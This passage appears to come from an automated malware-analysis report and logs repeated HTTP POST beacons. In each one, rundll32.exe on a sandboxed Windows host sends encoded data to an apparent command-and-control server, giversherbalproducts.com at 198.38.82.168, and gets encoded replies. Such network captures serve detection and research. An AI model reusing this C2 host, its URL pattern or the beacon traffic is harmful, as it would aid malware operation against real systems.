4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.3	49913	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:02.333194017 CEST	7002	OUT	POST /lBawcxb5/CgN/RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:02.795275927 CEST	7003	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:02 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49764	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:13.493150949 CEST	1056	OUT	POST /lBawcxb5/CAsZDz1/MEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:14.120012999 CEST	1057	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.3	49914	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:02.462997913 CEST	7002	OUT	POST /lBawcxb5/eiIKJxsgHw06Agp6BB8ucnsudSg6HAUOKix7e0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:02.944036961 CEST	7004	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:02 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.3	49915	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:03.114734888 CEST	7005	OUT	POST /lBawcxb5/BjgzCn0nPhkcGCpDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:03.778135061 CEST	7006	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:03 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.3	49916	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:03.405874014 CEST	7006	OUT	POST /lBawcxb5/CgN/RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:03.938410997 CEST	7007	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:03 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.3	49917	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:04.103900909 CEST	7008	OUT	POST /lBawcxb5/AD0jNh4yPXMuNjMDDTsAGiwzChYyejo5Oik6Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:04.564570904 CEST	7010	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:04 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.3	49918	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:04.303162098 CEST	7009	OUT	POST /lBawcxb5/BjgzCn0nPhkcGCpDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:04.743335962 CEST	7011	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:04 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.3	49919	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:04.872864008 CEST	7011	OUT	POST /lBawcxb5/MQN8fQJCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:05.364154100 CEST	7013	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:04 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.3	49920	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:05.115386963 CEST	7013	OUT	POST /lBawcxb5/AD0jNh4yPXMuNjMDDTsAGiwzChYyejo5Oik6Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:05.562863111 CEST	7014	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:05 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.3	49921	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
